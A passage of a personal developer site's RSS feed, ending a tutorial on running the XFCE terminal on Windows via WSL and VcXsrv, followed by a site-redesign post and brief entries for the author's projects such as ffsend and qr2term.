&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;export &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;DISPLAY&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;:0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Configured the X server address: check ☑️&lt;&#x2F;p&gt;
&lt;h4 id=&quot;start-the-terminal&quot;&gt;Start the terminal
    &lt;a class=&quot;anchor&quot; href=&quot;#start-the-terminal&quot; aria-label=&quot;Anchor link for: start-the-terminal&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;This finally makes your system ready to actually start the terminal. &lt;strong&gt;Invoke
the following command&lt;&#x2F;strong&gt; and see the magic happen:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;xfce4-terminal
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;start_xfce.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;6e808e1add847e9600.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Oh yes! There it is, the XFCE Linux terminal on your Windows system in all its
glory. The terminal has sane defaults, but I recommend to take a quick look
through its settings anyway to pick the desired color scheme.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;xfce_colors.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;c5b5d6e66e83375400.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Your terminal is now ready to use to its full potential. Happy hacking!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;useful-shortcuts&quot;&gt;5. Create useful shortcuts
    &lt;a class=&quot;anchor&quot; href=&quot;#useful-shortcuts&quot; aria-label=&quot;Anchor link for: useful-shortcuts&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Okay, we&#x27;re not quite done yet.&lt;&#x2F;p&gt;
&lt;p&gt;As you might have noticed, these last few steps are required after each login,
which is cumbersome. The X server must be started, and you need to set
the &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; variable for each &lt;code&gt;bash&lt;&#x2F;code&gt; shell you open from Windows. Though the
following steps are not required, it is highly recommended you follow them.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;vcxsrv-configuration-file-shortcut&quot;&gt;VcXsrv configuration file shortcut
    &lt;a class=&quot;anchor&quot; href=&quot;#vcxsrv-configuration-file-shortcut&quot; aria-label=&quot;Anchor link for: vcxsrv-configuration-file-shortcut&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;It is possible to create a configuration file for VcXsrv, to instantly start the
server without going through the wizard again and again.&lt;&#x2F;p&gt;
&lt;p&gt;To do this, go through the wizard one last time. You might want to use &lt;code&gt;0&lt;&#x2F;code&gt; as
&#x27;Display number&#x27; (instead of &lt;code&gt;-1&lt;&#x2F;code&gt;) to ensure you&#x27;re always starting the server
on a consistent address. On the final wizard screen, a &#x27;Save configuration&#x27;
button appears, click it and save it in an easy-to-access place such as your
desktop as it will act as shortcut.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;vcxsrv4.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;ba800d3341c48d4300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Double-clicking the created configuration file&#x2F;shortcut should start the
server, and a tray icon should appear.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xfce-terminal-shortcut&quot;&gt;XFCE terminal shortcut
    &lt;a class=&quot;anchor&quot; href=&quot;#xfce-terminal-shortcut&quot; aria-label=&quot;Anchor link for: xfce-terminal-shortcut&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;We can make starting the terminal easier by creating a custom shortcut.
Right-click on your desktop or an Explorer window to create a new shortcut:&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;create_shortcut.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;06185ec68ae6820400.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;ll start &lt;code&gt;bash&lt;&#x2F;code&gt;, and automatically invoke the commands we ran
&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#configure-x-server-address&quot;&gt;before&lt;&#x2F;a&gt;. Fill in the following command in the
&#x27;Location&#x27; field for this shortcut:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;bash&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;export DISPLAY=:0; xfce4-terminal -e bash&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;shortcut_path.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;8926de208b75ecfa00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Hit &#x27;Next&#x27;, pick a fun name and you&#x27;re done.&lt;&#x2F;p&gt;
&lt;p&gt;Double-clicking the shortcut you&#x27;ve created should automatically open a new
&lt;em&gt;proper&lt;&#x2F;em&gt; terminal window. Hurray!&lt;&#x2F;p&gt;
&lt;p&gt;Windows automatically spawns a window for the &lt;code&gt;bash&lt;&#x2F;code&gt; command we&#x27;re running
through the shortcut, causing two windows to show up. This is annoying.
Luckily we can minimize this unused window by default. Right-click on the
shortcut, and hit &#x27;Properties&#x27;. Set the &#x27;Run&#x27; option to &#x27;Minimized&#x27;:&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;shortcut_minimized.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;8a42716bb3bb1afc00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Not showing the &lt;code&gt;bash&lt;&#x2F;code&gt; window at all is also possible with a workaround,
but won&#x27;t be covered in this guide.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;tips-tricks&quot;&gt;Tips &amp;amp; Tricks
    &lt;a class=&quot;anchor&quot; href=&quot;#tips-tricks&quot; aria-label=&quot;Anchor link for: tips-tricks&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Here are some tips, tricks, and notices you might find useful.&lt;&#x2F;p&gt;
&lt;p&gt;You can extend the command used for the shortcut to automatically open a specific
Linux program or to start an &lt;code&gt;ssh&lt;&#x2F;code&gt; session. You can create multiple different
shortcuts as well. Here&#x27;s an example to immediately start a &lt;code&gt;ssh&lt;&#x2F;code&gt; session I
commonly use:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;bash&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;export DISPLAY=:0; xfce4-terminal -e &amp;quot;bash -c \&amp;quot;ssh root@work.lan\&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can set the &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; environment variable by default, by appending the &lt;code&gt;export DISPLAY=:0&lt;&#x2F;code&gt; line to the &lt;code&gt;~&#x2F;.bashrc&lt;&#x2F;code&gt; file through your &lt;code&gt;bash&lt;&#x2F;code&gt; shell.&lt;&#x2F;p&gt;
&lt;p&gt;You can use other graphical Linux software as well after setting the &lt;code&gt;DISPLAY&lt;&#x2F;code&gt;
environment variable.&lt;&#x2F;p&gt;
&lt;p&gt;If Linux applications don&#x27;t show up, and the shortcut immediately quits, you
have probably configured an incorrect X server address or did not configure it
at all. Review the &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#configure-x-server-address&quot;&gt;Configure X server address&lt;&#x2F;a&gt;
section.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s a simple final checklist for all the steps to get a Linux terminal
working:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#enable-wsl&quot;&gt;enable WSL, install Ubuntu&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#install-terminal&quot;&gt;install XFCE terminal&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#install-x&quot;&gt;install X server&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;for each login: &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#start-vcxsrv&quot;&gt;start VcXsrv&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;for each &lt;code&gt;bash&lt;&#x2F;code&gt; shell: &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#configure-x-server-address&quot;&gt;configure X server address&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;for each &lt;code&gt;bash&lt;&#x2F;code&gt; shell: &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#start-the-terminal&quot;&gt;start the terminal&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts
    &lt;a class=&quot;anchor&quot; href=&quot;#final-thoughts&quot; aria-label=&quot;Anchor link for: final-thoughts&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;This solution isn&#x27;t ideal. It takes effort to get up and running, and opening
a new terminal isn&#x27;t as easy as with other terminals. But for me, this is a
solution that gives me the best terminal experience I&#x27;ve had on Windows. It
works like a charm, and it feels super &lt;em&gt;comfy&lt;&#x2F;em&gt;. That is important.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;workspace.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;7fe353f34a389a3200.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Honestly, I find it kind of interesting, that almost every terminal on a Linux
or macOS based system works flawlessly for any tooling with no configuration.
However, on Windows, I don&#x27;t see this quality, for something that seems so
simple: rendering monospaced text on a screen.&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s hope the terminal situation on Windows improves. A lot has been getting
better lately since WSL was introduced, and many more people started experiencing
these itches than before since Linux on Windows became a viable thing.
I wonder what the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;devblogs.microsoft.com&#x2F;commandline&#x2F;introducing-windows-terminal&#x2F;&quot;&gt;upcoming&lt;&#x2F;a&gt; Windows terminal will bring to
the table.&lt;&#x2F;p&gt;
&lt;p&gt;I won&#x27;t be going back to Windows anytime soon myself, but at least this provides
a terminal I&#x27;m happy with when I &lt;em&gt;need&lt;&#x2F;em&gt; to use a Windows machine.&lt;&#x2F;p&gt;
&lt;p&gt;As always: &lt;em&gt;Hope this helps!&lt;&#x2F;em&gt; &lt;sub&gt;  :wq&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Fresh &amp; shiny website, hurray!</title>
                <pubDate>Wed, 03 Jul 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/fresh-shiny-website-hurray/</link>
                <guid>https://timvisee.com/blog/fresh-shiny-website-hurray/</guid>
                <description>&lt;p&gt;My personal website had basically been unchanged, lacking content, collecting
dust, since 2011 &lt;em&gt;(!!!)&lt;&#x2F;em&gt;, and here we are, more than 8 years later.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, I made some effort to revamp my personal website – &lt;em&gt;something you
obviously want to be proper looking&lt;&#x2F;em&gt; – to scrap the previous.
I put some work in building a custom template to properly personalize it, with a
dark interface to reflect the stereotypical developer. It has some bold design
choices, so it&#x27;ll be exciting how it works out.&lt;&#x2F;p&gt;
&lt;p&gt;Surprise surprise, you&#x27;re currently visiting the fresh and shiny new website.
&lt;em&gt;Or not so shiny after all, because it&#x27;s dark.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;show-me&quot;&gt;Show me!
    &lt;a class=&quot;anchor&quot; href=&quot;#show-me&quot; aria-label=&quot;Anchor link for: show-me&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Alright, we went from:&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;before-home.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;08b3fd94029df35f00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;to ...&lt;&#x2F;p&gt;
&lt;p&gt;&lt;p&gt;
    &lt;a href=&quot;after-home.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;5785489a6294a20300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;after-about.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;f531b0a8b98a41bd00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;after-dungeon-maze.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;ef44855d1212f32b00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;ll undergo some visual changes and improvements based on user feedback for
sure, but the majority of it stands.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;blog&quot;&gt;Blog
    &lt;a class=&quot;anchor&quot; href=&quot;#blog&quot; aria-label=&quot;Anchor link for: blog&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;With this revamp, I introduced the ability for easy blogging.
I intend to use this website as a simple blog platform to share cool code
snippets, project releases, simple tutorials, useful findings and to share my
experience with various topics I&#x27;m interested in.
I&#x27;m not a writer, so let&#x27;s see how this works out.&lt;&#x2F;p&gt;
&lt;p&gt;Notice the &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;&quot;&gt;Blog&lt;&#x2F;a&gt; section for an overview of posts,
or see the sidebar (bottom of the page on mobile devices) for a listing of
&lt;a href=&quot;&#x2F;categories&quot;&gt;categories&lt;&#x2F;a&gt; and &lt;a href=&quot;&#x2F;tags&quot;&gt;tags&lt;&#x2F;a&gt; to scope on a more specific topic.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Oh, and, you&#x27;re reading the first blog post right now!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-2-1-publish&quot;&gt;3-2-1 Publish
    &lt;a class=&quot;anchor&quot; href=&quot;#3-2-1-publish&quot; aria-label=&quot;Anchor link for: 3-2-1-publish&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Today (2019-07-03) I&#x27;m publishing this new website at my personal &lt;code&gt;timvisee.com&lt;&#x2F;code&gt;
domain along with this post. I&#x27;d be happy to hear your thoughts!&lt;&#x2F;p&gt;
&lt;p&gt;Of course, as a proper &lt;em&gt;open-sourcerer&lt;&#x2F;em&gt;, the source code for this website as a
whole is available in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;timvisee.com&quot;&gt;this&lt;&#x2F;a&gt; repository.
And a big thanks to the developers of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;getzola.org&#x2F;&quot;&gt;Zola&lt;&#x2F;a&gt; for building an amazing site
engine I was able to build this website in.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>qr2term</title>
                <pubDate>Thu, 14 Mar 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/qr2term/</link>
                <guid>https://timvisee.com/projects/qr2term/</guid>
                <description>&lt;p&gt;A stupidly simple QR code renderer, that prints text as QR code to the terminal, and nothing else.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;qr2term-rs&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;qr2term-rs&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;qr2term-rs&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>ffsend-api</title>
                <pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/ffsend-api/</link>
                <guid>https://timvisee.com/projects/ffsend-api/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;A fully featured Firefox Send API client written in Rust.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend-api&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;182225&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;cdn.rawgit.com&#x2F;timvisee&#x2F;ffsend&#x2F;6e8ef55b&#x2F;res&#x2F;demo.svg&quot; alt=&quot;ffsend usage demo&quot; &#x2F;&gt;&lt;&#x2F;a&gt;&lt;br &#x2F;&gt;
&lt;small&gt;&lt;em&gt;No demo visible here? View it on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;182225&quot;&gt;asciinema&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;small&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend-api&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;ffsend-api&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Also see these related projects:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;send&#x2F;&quot;&gt;Send&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(Send project)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;ffsend&#x2F;&quot;&gt;&lt;code&gt;ffsend&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(CLI client implementation)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>ffsend</title>
                <pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/ffsend/</link>
                <guid>https://timvisee.com/projects/ffsend/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;Easily and securely share files from the command line.
A fully featured Firefox Send client.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Easily and securely share files and directories from the command line through
a safe, private and encrypted link using a single simple command. Files are
shared using the Send service and may be up to 1GB (2.5GB authenticated).
Others are able to download these files with this tool, or through their web
browser.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;182225&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;cdn.rawgit.com&#x2F;timvisee&#x2F;ffsend&#x2F;6e8ef55b&#x2F;res&#x2F;demo.svg&quot; alt=&quot;ffsend usage demo&quot; &#x2F;&gt;&lt;&#x2F;a&gt;&lt;br &#x2F;&gt;
&lt;small&gt;&lt;em&gt;No demo visible here? View it on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;182225&quot;&gt;asciinema&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;small&gt;&lt;&#x2F;p&gt;
&lt;p&gt;All files are always encrypted on the client, and secrets are never shared with the remote host. An optional password may be specified, and a default file lifetime of 1 (up to 20) download or 24 hours is enforced to ensure your stuff does not remain online forever. This provides a secure platform to share your files. Find out more about security here.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#usage&quot;&gt;Usage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#requirements&quot;&gt;Requirements&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#install&quot;&gt;Install&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#build&quot;&gt;Build&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&#x2F;#security&quot;&gt;Security&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;ffsend&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Also see these related projects:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;send&#x2F;&quot;&gt;Send&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(Send project)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;ffsend-api&#x2F;&quot;&gt;&lt;code&gt;ffsend-api&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(Send library implementation for Rust)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>pixelpwnr-server</title>
                <pubDate>Fri, 29 Dec 2017 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/pixelpwnr-server/</link>
                <guid>https://timvisee.com/projects/pixelpwnr-server/</guid>
                <description>&lt;blockquote&gt;
